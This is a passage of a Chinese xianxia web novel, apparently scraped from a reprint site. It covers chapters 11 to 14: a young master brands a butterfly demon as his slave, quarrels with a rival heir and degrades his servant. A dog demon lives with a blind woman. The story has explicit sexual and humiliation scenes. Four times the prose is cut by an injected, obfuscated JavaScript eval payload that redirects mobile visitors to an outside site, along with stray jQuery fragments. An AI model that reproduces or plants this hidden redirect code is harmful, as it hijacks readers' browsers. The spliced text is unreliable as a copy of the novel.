谢妄之蹙眉思忖,倏然想到什么,微微勾唇:“你能送我们出去,但自己出不去,对吗?”
司尘眼眸睁大,又轻笑起来,偏头在他掌心一吻,掀帘看他,低声道:
“确实如此。但更重要的是,我族一生只忠于一人,你我已有肌肤之亲,你可要对我负责。更何况……”
说到此处,对方视线往下落到他腰间,微微一顿又抬眸看他,嗓音低柔,意有所指:“那位不能满足你,不然怎会稍稍撩拨便——”
“闭嘴!”
谢妄之恼羞成怒打断对方,还未动作,弥漫四周的黑雾倏然暴起,化成几条漆黑鬼爪猛地袭向蝶妖。
“住手!”
谢妄之怔了一瞬,下意识伸手去拦,这次连同手掌手臂都陷进雾里。
在一片浓稠的黑雾中,似有一只看不见的手紧攥住他,五指强硬嵌入他的指缝,与他十指相扣,潮湿粘稠的触感从指尖递送到心里,痒得他发颤。
“池无月!”
他不停甩手试图挣脱,黑雾却始终牢牢缠着他,甚至试图拢进他的肩膀,引得他回身去看池无月。
却见少年面无表情地站在他身后,双眸黑沉,脸上又蔓延起黑色的蛛丝。
“又不听话了?”谢妄之蹙眉。
这三个字如同敕令,少年微抿起唇,慢慢垂下头,暴涨的黑雾又变得乖顺,潮水般退回身体,只有谢妄之的手指还缠着丝缕。
“带你走可以。”谢妄之回身看蝶妖,手指缠绕着黑雾把玩,“你要与我签订主仆契约,我要在你身上刻印。”
池无月猛地抬头,双拳攥紧。
而司尘轻笑了声,“当然可以。”
他毫不犹豫执起谢妄之的手放在唇边轻吻,又牵着对方的手摸向自己的喉结,顺着脖颈往下,“主人想将印记刻在哪里?刻在这里如何?”
在触到对方胸口之前,谢妄之猛地抽回手:“不用你操心。”
他绕着司尘打量片刻,循着印象中蝶妖在空中翩跹起舞的模样,指尖伸向对方光洁的肩膀。
无瑕雪被之上,一只金色的蝴蝶飞越山谷,停驻在最高处,抖落的磷粉连成金灿的丝线,垂落在修长优雅的臂膀。
“好了。”谢妄之收势,微抬下颌,故意问,“喜欢么?”
司尘跪在地上,温顺地任他动作。见他收手才侧头去看,瞳孔颤动着睁大,抖着手去摸那只蝴蝶,指尖来回细细摩挲,轻声道:“喜欢。”
池无月也盯着那只蝴蝶,身后笼罩的黑雾庞大如山。
*
“啊?他怎么也跟着我们一起回来了?”
刻完奴印之后,司尘便依言将昏睡的队友们唤醒,送众人出去,那个巨大的巢穴也随之销毁。
大概秘境运转由那个空间维系,巢穴一销毁,整个秘境都跟着崩溃,进入其中的所有人都被迫退出。
而司尘化成一只小蝴蝶,停驻在谢妄之肩膀,跟随他们一起出去,落地后变回原先的模样,令崔岫大受震撼。
司尘微笑着打了个招呼,而谢妄之懒得解释,摆摆手踩上随心便走。其余人见状也只得跟上。
待众弟子都回了谢家,崔岫将从秘境获取的天材地宝送去评分。评了两日后,他们毫不意外得分最高,谢妄之的总积分依旧是第一。
颁奖时台下人欣羡嫉妒,谢妄之扫了圈,独不见几个姓裴的人。
演武比赛散场后,崔岫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14656064|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
提议结伴去吃酒庆祝一番,得到了其余队友的支持。
其实谢妄之生性不爱社交,一向不参与这种场合,连酒都是自己喝,基本不参与团体赛也是这个原因。
但自从做了那个梦,脑中一下子多出太多东西,紧接着又是演武比赛,神经一直紧绷着,忽然感到有些疲累,想着换换心情,便应了邀请。
他们将还来的天材地宝分了分,各自回去休整,约定酉时于一家酒楼见面。
而在那之前,谢妄之带着事先准备好的材料前往城中最大的铁匠铺,请人为随心重新造一柄剑鞘。
他本来孤身行动,司尘非要跟着,缩小身形坐在他肩膀,闻言忽取出一物,随意丢在台面上。
只见一卷璀璨流光的丝绸如水一般在台面铺展,折出斑斓色彩,绚丽得叫人挪不开眼。
一瞬间,整间屋子都亮堂起来,满室上品宝器的华光都不及那物万分之一。
师傅惊得一下站起身,俯身近距离观察,双目圆睁,大气不敢喘,抖着手指着那物:“我的少爷啊,这、这流光丝是哪儿来的?”
流光丝,产自流光蝶蝶蜕之时。而近千年来,流光蝶早已绝迹。
饶是谢妄之也怔了一下,但很快恢复如常,下颌微抬:“你不必管,好好做就是了,材料管够。”
“好、好,请少爷放心!”对方眉开眼笑,捧着丝绸便要走。
谢妄之忽然想到什么,抓起肩上的司尘随手丢远了些,随即转回身拦住师傅,纠结地默了会,伸手比划了下:“师傅,或许,你会做翅膀吗?”
藏在暗处的一缕黑雾微微闪了下,色泽更加浓郁。
*
酉时,众人准时在醉香楼汇合,一齐用饭。
崔岫话密,负责暖场带动气氛,整场嘴巴没停过,好像什么话题都能插一嘴,酒过三巡后更是恨不得拉着人说一宿。
演武比赛之后,游学基本宣告结束,若有要事,众人交完作业后可自行离开,不必等到正式结课。
问起日后打算,初晴姑娘低下头,温温柔柔道:“初晴志在悬壶济世,听闻北荒瘟疫横行,打算往北探探。”
“咦!那不是我家么!”崔岫一拍大腿,大喇喇举杯和初晴姑娘碰了碰,“游学结束后我也要回家一趟,我出来这么久,是时候回去看看我娘了。”
而队中的符修与音修表示之后要继续进修,还要报名另一个世家地界内的秘境试炼。
崔岫一听众人都志向远大,不由嘿嘿一笑,摸了摸自己的后脑勺,讪讪道:“怎、怎么大家方向都这么明确,我就是喜欢打架,没想那么多。要不然,我也再报名一个什么秘境试炼好了。”
谢妄之沉默饮酒,闻言忽然抬起头,道:“人各有志,不必随波逐流。”
“啊?”崔岫很明显是有些醉了,眼神发蒙,反应都慢半拍,“那,谢兄你说,我该怎么办?”
“回家。”谢妄之言简意赅。
他记起来,话本中写过一段有关崔岫的重要剧情。
游学之后,崔岫家里出事了。
12.第 12 章
众人聊到亥时才散场,谢妄之回去时差人送了热水沐浴。
刚褪去衣物泡进桶中,一只金色蝴蝶便穿过雕花窗棂飞进来,轻盈落到他肩膀。
他懒得管,蝴蝶竟得寸进尺,又落到他唇边,细长触角微颤,碰到他皮肤,感觉有些痒。
“滚出去。”谢妄之抬手,两指毫不客气捏起蝴蝶残缺的翅膀往外丢。
但没过一会儿,蝴蝶又颤颤悠悠飞回来,摇身变回人形,站在浴桶边,手里捏着巾帕,殷勤道:“谢妄之,我来给你擦背。”
“不需要。”谢妄之冷漠回。
“可是……”司尘跪下身来,脸颊搭在浴桶边缘,歪着头看他,克制地没往水里瞟,诱哄似的嗓音低柔,“奴隶不就是要做这个的吗?”
谢妄之眉峰一挑,睨了眼司尘。
蝶妖乖顺地跪在地上仰脸看他,眼眸似落日熔金,发丝散落在光洁肩背,似披了身月光,如坠落凡尘的仙子。
“呵。”他微微眯眼,伸手轻抚上对方脸颊,“是谁教你,奴隶就是要做这个的?”
“池无月不这么做么?”对方惊讶挑眉。
谢妄之冷哼了声,甩开手没答话。
他从不叫池无月做这种事,而对方也从来没有主动过,笨拙得像块木头。
记忆中,他们唯一出格的那天,他为烦心事喝醉了酒,把池无月叫到房中。
但对方半途便跑了,留他独自泡在冷水中生生捱过,之后还谎称生病,连躲了他好几天。
后来他才知,原来池无月是嫌恶心。
思及此处,他不觉有些恼火,手指攥了起来。
从没有人敢这样叫他扫兴。
“抱歉,别生气,是我想这么做。”
出神之际,他的手忽然被人执起,温热细腻的脸颊贴在他掌心,亲昵又依赖地来回轻蹭。
司尘侧头在他手腕与掌心处各落了一吻,微微偏头看他,模样温顺而诱人,嗓音微哑:“谢妄之,真不行吗?不喜欢我这张脸么?”
“……”
谢妄之沉默了会儿,倏然勾唇一笑。
他确实不讨厌这张脸。
那多养一条狗又如何呢?
他伸手缓慢掌住对方后脑,指尖嵌进柔软发丝之中,微微施力,按着对方的头颅往下压。
“进来。”
水波溅荡。
潮湿热气氤氲,润红了双颊,谢妄之手臂搭在浴桶边上,指尖无意识攥紧,低头看着水面银发铺散,如浮萍飘荡,眸光微微涣散。
窗外乌云蔽月,比夜色更深沉的黑影投落在纸窗,扭曲得看不出形状。
*
翌日,兄长忽然把谢妄之喊过去,到地儿才发现是谢家为姓裴的专门安排的住处。
“你啊。”
谢霁刚从屋里头出来,见他到了,眼神复杂,走至他身边抬手按了按他肩膀,力道不轻不重,倒没多说什么,很快走了。
而谢妄之进门才发现裴云峰也在,不由嗤笑了声,抱臂懒散倚在门边,多一步都不肯走:“找我做什么?”
对方坐在桌边自斟自饮,见他不肯进屋,眉心微微一蹙:“站那做什么?不能进来说话?”
“多事。”谢妄之轻嗤了声,还是依言走近,撩起袍摆坐在裴云峰对面。
对方替他斟了杯茶,指尖轻推着茶杯送到他面前:“你知道吧,自从见过池无月,我的那三个弟弟,现在还没醒呢。”
“这么贪睡?”谢妄之轻点了点桌案,闻言眉峰微挑,“没找医师看过么?”
“自然看过,你以为呢?”
裴云峰似是想起什么,冷笑了声,“他们反复梦魇,若是强行唤醒,轻则痴傻,重则殒命。便是自行醒来,修为也会倒退许多,此后再难进境,医师也束手无策。”
“……”谢妄之沉默了会,“我先前便说过吧,别去招他。”
对方冷笑:“这就是你一直把他藏着掖着,不让我见他的理由?难道不是因为你们——”
“不让你见吧,你不乐意,这下终于见到了,那你满意了?”
谢妄之猛然打断对方,拍了下手又摊开,见对方面色不豫,只好收手道:“那你说吧,你想要谢家怎么赔?”
“谢家?”裴云峰轻声重复,意味不明地勾唇笑了一下,“你以为谢霁为何找你过来?”
谢妄之会意,立即改口:“你想要我怎么赔?”
裴云峰微微眯眼,言简意赅道:“把他赶走。”
“……就这?”听对方语气认真,谢妄之错愕挑眉,“他们可是你弟弟。”
“他们是妾室所出,天资平平,心胸狭隘,若是放任不管,迟早也会酿成大祸,便是废了也无所谓。”裴云峰语气冷静,近乎冷血。
谢妄之怔了一瞬,随即勾唇嘲弄:“真该让别人也听听,这是传言中‘宽厚仁慈’的裴家少家主会说出来的话吗?”
对方沉默没应,谢妄之自讨没趣,扭头冷哼了声,干脆道:“不要。”
裴云峰面色更沉,咬牙一字一顿重复道:“要么把他赶走,要么由我杀了他。”
谢妄之见状也有些恼了,冷笑了声道:“呵,这句话说了三年,你还真是锲而不舍。你没说厌,我的耳朵都要起茧了。不就是养了条狗,你那么较真做什么?”
“呵,你也跟我说过,只是一条狗而已,玩玩罢了,那你跟谁玩不是玩,非要留着他?!”
对方神色激动,说着便猛地站起身,居高临下地指责质问,嗓音却微微沙哑,眼尾泛红,模样看起来竟有些委屈。
“你收他做奴隶便罢了,为何不让我见他?不就是怕我多想么?你跟他是玩玩,那跟我呢?谢妄之,我们认识这么多年,你待我有几分真心?”
“我也想问呢。”谢妄之勾唇冷笑,抱起双臂,微抬下颌原封不动将话还了回去,“裴云峰,我们认识那么多年,你待我有几分真心?”
面前人神色微怔,似是有些不解,薄唇抿成一条细线。
谢妄之笑起来,脊背后靠,虽是坐着,气势却未矮上半分:“我是第一,你是第二,你敢说,你从未嫉妒过我?”
他清晰记得,在梦中,他被剜出剑骨,已是裴家家主的裴云峰,投了赞成的一票。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673772|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
闻言,裴云峰神色有些慌乱,撑在桌上的手急忙去摸他手背,辩解道:“我只是,想离你近一些。”
谢妄之气笑了,也跟着站起身,伸手掌住对方后脑猛地压向自己,紧盯着对方双眼,咬牙切齿问:“离我多近才叫近?这样够吗?你以为我会相信你?”
似是猝不及防,对方微微睁大了眼,却没反抗,气势软下来,近乎哀求地问:“那要怎么做你才会相信我?”
“呵,简单啊。”谢妄之伸手在人脸上轻抚,随即勾起对方下颌,笑容恶劣,“让我也在裴少家主的脸上刻个奴印如何?”
“……”
见对方沉默地抿起嘴唇,谢妄之冷笑了声,甩手松开对方,毫不犹豫往外走。
裴云峰站在原地,抬手轻轻摸自己的脸,似在回味方才对方手指停留的触感,长睫低垂遮去眸中幽暗。俊美面容一半隐在阴翳之中,更显阴鸷。
与传言中的“宽厚仁慈”截然相反,真正的他自私、狭隘。
他不只是想离谢妄之近一点。他想把鸟儿困起来。
窗边一缕黑雾慢悠悠散去。
*
之后几日,裴云峰没再来烦他,而游学也很快结束,谢妄之乐得清闲,竟感觉有些无聊,便向谢霁请辞,说要去北荒历练。
谢霁没有反对,只叮嘱一句“注意安全”。
于是谢妄之紧随崔岫的脚步前往北荒。
越往北走,气候越干旱,植被越稀疏,直到能望见一片无边无际的大漠。
北荒常有极端天气,人迹罕至,妖魔横行,由五大世家之一的“白家”统辖镇守,派遣世家子弟驻守在各个危险区域。
一处边陲小镇,刚经过一场可怖的沙尘暴,街上没有行人,只有一地狼藉。
过了许久,才有一名中年妇女拄着拐杖,摸索着颤巍巍开了门出来。
她步履蹒跚,一步一步都要用拐杖去探前方的路,忽然碰到什么坚硬事物,手里的拐杖也没拿稳,竟一下把拐杖碰倒。
“哎呀,我的拐杖!你在哪儿?我的好拐杖,你快出来呀。”
她急忙蹲下身,从自己身边慢慢往远处摸,明明听声音是掉在附近,手指却怎么都摸不到,不由急得满头大汗,竟开始哀求一个死物自己现身。
过了会儿,似是有人靠近,搀扶着她站起身。她下意识反手抓住对方,顺着对方的手臂往上摸索,边摸边道:“好心人,谢谢你呀,你是谁?”
对方没应声,忙把自己的衣袖往下扯。
大娘摸索着对方手臂粗细与高度位置,忽然惊声道:“崔岫,是你吗?我儿,你回来了?”
对方轻咳了声才应道:“咳,是、是我,娘亲。”说着把拐杖给人递过去。
大娘闻言一下湿了眼眶,一面拄着拐杖,一面拉着崔岫往家的方向去,又是数落又是心疼:“你怕是都不记得你还有个娘了,去这么久了才晓得回来。你看看你都瘦了……”
“嗯,嗯,我错了,娘别生气。”
“你呀!”
大娘轻轻笑了下,没看见“崔岫”身后竟有一条尾巴。
13.第 13 章
“崔岫,你过来帮我一下。”
进屋之后,大娘拉着它问了些话,它含含糊糊勉强应了两句,最后说自己饿了逃避话题。于是对方立即起身去给它做饭。
大娘眼睛看不见,却在灶房忙前忙后,动作干脆利落得丝毫看不出身上有不便处,与方才在屋外可怜无助的模样简直判若两人。
“崔岫”闻声抬起头,兜帽从脑袋上滑落,露出两只受惊般轻微抖动的三角耳,覆着一层土黄色的毛发。原是一只小犬妖。
它下意识伸手要将兜帽重新戴上,想到大娘看不见,便又轻舒口气,停住动作。
“娘,要我做什么?”
它应了声,从后面靠近,鼻尖微微耸动,嗅到大娘身上散发的一股特殊气味。
这股味道,它从前在快要死去的同类身上闻到过,浅淡、酸涩,令人难过。
而它正是因为嗅到这股气味,才接近大娘。
它饿太久了,饿得眼前发绿,看不清路,晕乎乎一头倒进行商队伍的板车里。
行商人竟没看见它,大黑布一罩,把它拉进了人类的城镇。本以为定要被白家的修士逮住,未想白家人也没发现它,等到板车停下,它飞速跳车逃了,沿路一直走到这处。
它才刚学会化形,实在太弱了,藏不住耳朵和尾巴,身上还有些稀疏的毛发。它杀不了人,那等这个人死了,它总归能填饱肚子的。
“帮我把这些倒进锅里。”
大娘用菜刀拨过一堆切好的肉片、萝卜丁,各个厚薄适中、大小均匀,看得出刀工精湛。
小犬妖没用过人类的锅灶,瞅着旁边一锅吐着泡泡的沸水,还有一锅热着油的,心里有些发怵,也不知道该把那些东西放进哪个锅里,又不敢张嘴问,怕自己问得太简单,露出破绽。
思来想去,它决定随便丢进一口锅里。
……反正煮出来的东西应该差不多吧?而且对方也看不见。
它刚想伸手拢起来,指尖还没碰到,先被大娘打了一下手背:“不干不净的,先洗手去!”
“好、好的!”它忙缩回手,虽不知道洗手是为什么,但还是听话地左顾右盼去找水,下意识开口问,“在哪里洗啊?”
问出声后,它立刻觉得要糟,未想到对方没什么反应,只是继续切菜,嘴上嗔怪道:“出门左转就能看见水缸了,位置你从小到大都没变过,不就是出了趟门,怎么连这都忘了?”
小犬妖没敢应,怕说错话,全然忘记自己是只会吃人的妖,呆呆傻傻地按着指示去水缸边舀了勺清水洗手又回来,两只手将菜拢了拢,尽数丢进那口热着油的锅里。
下一刻,锅里滋啦啦地往外喷溅出汁水,吓得它猛往后退,尾巴毛都炸起来,喉里本能滚出沉闷的响。
“哎,真是笨手笨脚,去去去。”
大娘笑骂一句,将它赶出了灶房。待犬妖一走,她很快收敛神色,伸手轻抚了抚胸口。
那里贴着一张不到万不得已不能用的符箓。
小犬妖还捧着被热油溅到的手指惊魂未定,忽然嗅到一股奇异的肉香。回头一看,发现大娘已经端着吃食回来摆上桌案,一边招呼着它过去,动作熟稔得不像目盲。
它依言坐下,看着眼前一碗白米饭和一双筷子,不知从何下手,索性直接伸出爪子要去抓菜盘子里的肉。
而大娘一手拿着筷子,另手摸索着盘子往它的方向推了推,道:“你肯定饿坏了,多吃点。”
小犬妖毫不客气地抓了一大把放进嘴里,狼吞虎咽,没吃出什么味儿,被烫到了也不在乎。
整盘菜被它一爪子弄得乱糟糟,还有好些掉在桌上,十分埋汰。而大娘摸索着艰难地夹盘子里的菜,半天夹不上一块,光夹空气去了。
小犬妖余光瞥见,动作一顿,垂头看着自己的手若有所思。
接着,它将手往身上擦了擦,学着对方的模样拿起筷子,却半天不会用,只好用另手把菜往对方筷子底下拢了拢,别扭道:“娘,你也多吃点。”
“好好好。”大娘惊讶地挑眉,将快要滑出袖口的符箓往里塞了塞。
*
“三间房。”
“两间。”
“三间。”
“两间!”
池无月抿起嘴唇,面色不善地盯着客栈掌柜。
“呃……”
客栈掌柜看着面前两位争来争去的谪仙般的人物,抹了把脑门的细汗,本要说什么,清明眼神忽然朦胧一瞬,紧接着便道:“二位客官不必争,小店里只剩两间房了。”
池无月面色更沉,转头剜了眼身边的蝶妖。
“看我干什么,”司尘无辜地耸了耸肩膀,淡金色的眼眸却还残留着未退却的橙红,似落日熔金,“没听见人家说什么吗?”
说罢,他没再管池无月,振翅往楼上飞去,轻盈落在谢妄之身边,把脑袋凑过去挨着人肩膀,软声撒娇道:“谢妄之,你在做什么?”
“没骨头么?”
谢妄之冷漠地应了句,却没把人推开,又给自己斟了杯茶,凝神细听周遭的动静。
“嗯嗯。”蝶妖愈发没骨头地靠着他,脸颊埋在他颈窝里贪婪嗅闻,又悄悄把手圈上谢妄之的腰。
崔岫走得太快,他们没赶上,索性慢下步子一路北上,正步入白家统辖的地界。
北荒妖魔横行,虽然危险,却是历练的好去处,对于连进入秘境试炼都得找相应世家报名才有机会参与的散修更是如此。
这家客栈的大堂便聚集了好些散修,一边大快朵颐一边谈论着什么。
忽有一人环顾左右,放轻了声音:“你听说了么?前不久发生了件怪事儿。临光村上下几百口人,一夜之间全给妖魔屠戮干净了,那场面……”说到此处,他忍不住搓了搓手臂。
“杀了几百人?那可是大妖啊!”坐他对面的人惊呼一声,“临光村在哪啊,白家没派人去捉妖么?”
“唉,你问到点子上了。”那人称赞点头,“临光村是离主家远了些,但村子附近就有白家人驻守啊,结果根本没人去!”
“啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694957|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”对方傻眼了,随即义愤填膺,猛地一拍桌子,“什么意思!白家人故意见死不救吗?我就说这些个世家,从来没把我们的命当命!真是欺人太甚!”
闻言,那人面色陡变,忙竖指“嘘”了声,又焦急环顾左右,见无人在意他们,这才微舒口气,把嗓音压得更低:
“兄弟你这么激动干什么呢!就、就算他们再那什么,这话咱可不能乱说啊!”
“啧,本来就是!还敢做不敢当了还!”
经过提醒,对方稍微冷静了些,但仍是气得脸红脖子粗,接着对人倒了好一番苦水,说自己受到了哪个世家公子小姐的欺压云云。
谢妄之又听了会儿,微微哂笑,没再注意。
修仙界中,五大世家几乎垄断所有资源,小门小派也各有依附,散修只得夹在其中艰难生存,双方积怨已久。
他记得话本中提过,这一出“临光村几百口人被妖魔屠戮,而世家无人出手相帮”的戏,便是由散修自导自演,他们的目的也很明显。
而话本最后的结局是,主角加入散修阵营,亲手创立仙盟,建立新秩序,打破了世家垄断资源的霸权局面。
他们这些个世家失去所有,迫于威胁,也只得对这个仙盟盟主俯首称臣。
虽然这段剧情比印象中的提前了些,但……
这并不妨碍未来的仙盟盟主,现在以及将来,只会是他踩在脚下的一条狗。
谢妄之在心中冷笑。
说主角,主角到。
“公子。”池无月安排完,上楼来到谢妄之身边。
见到蝶妖亲昵地倚着谢妄之的肩膀,就差倒在人怀中,还朝他挑衅一笑,而谢妄之显然默许,当即不悦眯眼,攥紧双拳,却又强自捺下不满,低垂着头等谢妄之的指示。
自从谢妄之说过他“不听话”,他再不敢自作主张,听话得就差把“谢妄之的狗”这几个字纹脑门上。
当然,只是表面如此。
谢妄之抬眸瞥了眼池无月,忽然将茶杯往桌上一放,微抬下颌道:“跪下,给本公子捏腿。”
谢妄之从前带池无月出门,从未让对方在外头跪下过。而此番池无月若要给他捏腿,势必要钻到桌子底下。而周遭人来人往的,这比简单的跪下,羞辱意味更甚。
余光瞥见少年僵着身体不动,垂在身侧的双手攥成了拳,谢妄之恶劣地勾唇一笑:“怎么?不愿意么?”
“没……”
少年轻轻摇了下头,出口的嗓音莫名有些沙哑,接着当真跪下身,钻到桌子底下,膝行到他脚边。
与此同时,店小二也送来吃食,一一摆上桌案。他显然注意到这桌的贵公子,大庭广众之下,身边倚着一个美人,方才桌子底下又钻进去一个,不知要干些什么不可示人的,眼神有些古怪复杂。
谢妄之浑不在意,当即动筷。
边上的司尘默不作声,低垂长睫掩去眸中幽暗。
而桌子底下的池无月,颤抖着指尖去碰谢妄之的腿,呼吸陡然粗重,兴奋得快疯了。
14.第 14 章
谢妄之刚吃了口,便感觉小腿传来一阵酥麻。
他不由低下头看,正见池无月跪在他脚边,双手揉按着他的小腿,神色专注,长睫低垂,似有所觉般掀帘看他,轻声问:“公子舒服么?这样的力道可以吗?”
“谢妄之,你尝尝这个。”
他还没应,一筷子鲜嫩鱼肉忽然递到他嘴边,诱人的香气令他下意识张嘴吃进去,不经意含了下筷子尖。
“好吃吧。”司尘伸回筷子,放到嘴里轻轻抿了一下,似是回味,眼眸愉悦眯起。
谢妄之应了声“嗯”。
“……”
桌子底下的池无月见状面色微沉,手指缓慢往上,动作逐渐透出难言的撩人意味。
谢妄之的双腿笔直修长,肌肉紧致匀称,触感坚硬而有弹性。按到腿根时,对方微微僵了一下,随后伸手按住他的发顶,力道不轻不重。
他分不清这是什么意思,只感觉呼吸猛然一滞,喉咙处涌上难耐的焦渴,令他忍不住吞咽,顶着对方的压力,缓慢往前倾身。
墨色绸面绣着青竹,似被雨水淋洗,碧叶洇湿了一小片,色泽微深,又发起皱,纹路凸起。
头顶力道猛然加重,手指嵌入他发间,无意识地攥紧,有些刺痛。而他浑然不觉,似沙漠中骤逢甘霖的旅人,只知贪婪吞咽。
“谢妄之,你怎么不吃了?是饭菜不合胃口么?”
谢妄之不知不觉停下了动作,盯着满桌子佳肴微微出神。边上的司尘靠坐过来,状似关心,桌子下的腿却狠狠朝池无月踹了过去。
“那尝尝这杯酒吧,酸酸甜甜,很好喝的。”
接着,不等人答话,司尘又给人斟了杯酒,喂到谢妄之唇边,另手假借喂酒之由,重新搂上他的腰。
谢妄之避无可避,只好低下头就着司尘的手喝酒。
垂下视线的瞬间,桌子下的少年正好仰起头,湿润的唇沾着水光,未及吞咽的口涎拉成细丝,挂在下颌,望过来的眼神柔软似水。
他不由一顿,清亮酒水立时从唇边溢出,沿着下颌淌落脖颈,甚至濡湿了胸前衣襟。
“抱歉抱歉,是我喂得太急了。”
司尘忙放下酒杯,掏出干净的巾帕给他擦拭,从唇边一路往下,淡金眼眸似笼了层阴翳。
正要擦到胸口,谢妄之伸手拦住:“不必擦了。”
而底下的池无月正要继续,忽然被拽住头发往后一扯,迫使他抬起头。他眨了眨眼,顺势看去,装作人畜无害的模样,不解出声:“公子?”
“够了。”谢妄之却看也未看,冷着脸踢了他一脚。
“是。”
池无月不敢忤逆,乖乖应声,意犹未尽伸舌轻舔嘴唇,从桌子底下钻出,正对上司尘幽暗的目光。他微微勾唇,淡然坐在谢妄之另一边。
未想到谢妄之霍然起身,将他们两人撇下:“你们慢用。”
*
沐浴过后,谢妄之坐在桌边擦拭头发,房门忽被轻轻叩响:“公子。”
“进。”
谢妄之眉心微蹙,犹豫了一瞬还是开口。却见少年进屋,反手将屋门闩上,不由微微眯眼:“来做什么?”
对方几步走近,又跪在他脚边,恭敬低下头,乌发垂落,露出一片雪白后颈:“奴侍候不周,惹公子生气,特来请罪。”
“请罪?”
谢妄之哂笑,伸手掐着池无月的下颌迫人抬头,正对上少年湿润炽热的目光,随后毫无预兆猛地扬手扇了对方一巴掌。
他咬牙切齿:“谁给你的胆子?”
在大堂里,其实他只是想羞辱池无月,未想到竟是羊入虎口。一桌三人吃饭,两人醉翁之意不在酒。
这令他一下子想起先前被这两人轻薄的时候,虽然他平时并不排斥这种行为,但他不喜欢这种不是由自己掌控的感觉。
同时,他也没有大庭广众下做这种事的癖好,贱奴却一再撩拨,甚至当真令他松懈,不由恼羞成怒。本来揭过便好,贱奴却非要提起,更令他恼怒。
“公子……”
少年被他打得偏过头,很快又转回脸看他,面上不见恼色,甚至双颊润红,喉头轻滚几下,温软嗓音微哑。
接着往前膝行两步,几乎挨着他的腿,伸手轻轻攥住他的衣摆左右晃了晃,嗓音更低哑,像是撒娇又像是哀求,“奴能做得比他更好,比所有人都好。”
说着,少年尽力挺起身体,仰起头,双手抓着他的衣袖攀缘向上,吐息粗重灼热,似想靠近他怀中,亲吻他的喉结。
脑后乌发一瞬间汹涌变长,在身后铺散,双眸似浸入墨汁,比夜色更深重。整个人犹如水里钻出的鬼魅,要将他拖入巢穴。
“哦?”谢妄之坐着没动,闻言眉峰微挑,勾唇冷笑,“看来你都知道了?”
少年轻轻点头,眸色更深,从眼眶往外蔓延出黑色的丝线,蛛网般纵横交错,容色艳丽而诡异。
“那怎么办?”谢妄之唇边笑意更深,伸手轻抚上对方的侧脸,眼神却寒凉,“你也想要?”
“谢妄之……”
池无月呼吸陡然粗重,双眸颤动着睁大,情不自禁唤谢妄之的名字,攥住对方衣襟的双手猛然收紧。
他正欲贴得更近,忽被一只手毫不留情推开,猝不及防间,身躯猛然往后跌坐。
随后,一只光裸的足踩在他肩膀,脚掌顺着胸膛滑落,用力往下碾。
“唔……”
他没有挣扎,只是低低哼了声,只觉喉咙更加焦渴,难耐的燥热几欲令他晕眩。
他强捺下兴奋抬起头,却对上冰冷讥嘲的目光:
“可是我嫌恶心呢。”
谢妄之抱起双臂,唇角牵起,衬着英俊眉目,笑容恶劣却透出难言的欲色。
瞧瞧,这就是未来的仙盟盟主。
要他俯首称臣?
休想。
盟主之位,既然池无月能坐得,他谢妄之凭什么坐不得?
他伸脚又是一踢,轻蔑勾唇,“滚吧。”
*
近日,小犬妖在大娘身上嗅到的那股气味越发浓郁了。
与此同时,也不知是什么原因,大娘近日对它的态度大不如前,嫌弃又不耐烦。虽然它能嗅得出大娘对它并无恶意,但也有些令它窝火。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711252|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>又失手摔碎一个碟子,小犬妖下意识蹲身收拾。而大娘立即闻声赶来,斥它笨手笨脚,说它回来家里以后,一天天啥事不干,净给她添乱。
“……对不起。”小犬妖忍了忍,乖乖低头认错,发顶的耳朵都耷拉下来,有些委屈,“娘别生气。”
大概是因为它认错态度良好,大娘不再咄咄逼人,接着又问:“你拿手去碰没有?不能碰哦,去拿扫把来。”
“好。”
小犬妖依言照做,经过大娘身边时,鼻尖微微耸动,嗅到一股血腥气。
但它没问,乖乖去拿扫把与畚斗回来,将碎瓷片收拾干净。虽然学了几天,但它还不太会用,只能尽量扫得仔细一些。
而大娘坐在一边,忽然咳嗽起来,拿巾帕捂住嘴。等她放下手时,小犬妖注意到巾帕上面沾有一道新鲜的血迹,与之前的重叠在一起。
